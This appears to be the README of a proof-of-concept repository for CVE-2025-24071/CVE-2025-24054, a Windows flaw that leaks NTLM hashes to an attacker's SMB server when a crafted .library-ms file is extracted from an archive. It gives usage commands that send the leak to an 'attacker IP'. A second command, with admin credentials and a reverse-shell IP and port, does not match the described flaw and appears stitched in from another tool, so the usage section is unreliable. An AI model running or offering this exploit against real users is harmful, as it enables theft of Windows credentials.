# CVE-2025-24071_PoC
CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
### Windows Explorer automatically initiates an SMB authentication request when a .library-ms file is extracted from a .rar archive, leading to NTLM hash disclosure. The user does not need to open or execute the file—simply extracting it is enough to trigger the leak.
## usage
```bash
>>python poc.py
>>enter file name: your file name
>>enter IP: attacker IP
```
```sh
>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888
```
# update:
### Update: Microsoft has changed its CVE number. The CVE number previously defined by Microsoft, CVE-2025-24071, has been updated to CVE-2025-24054.🤷♂
[4.0K] /data/pocs/6824bd7b1034e5656b15091f2c94a2b0169ff34f
├── [1003] poc.py
└── [ 776] README.md
0 directories, 2 files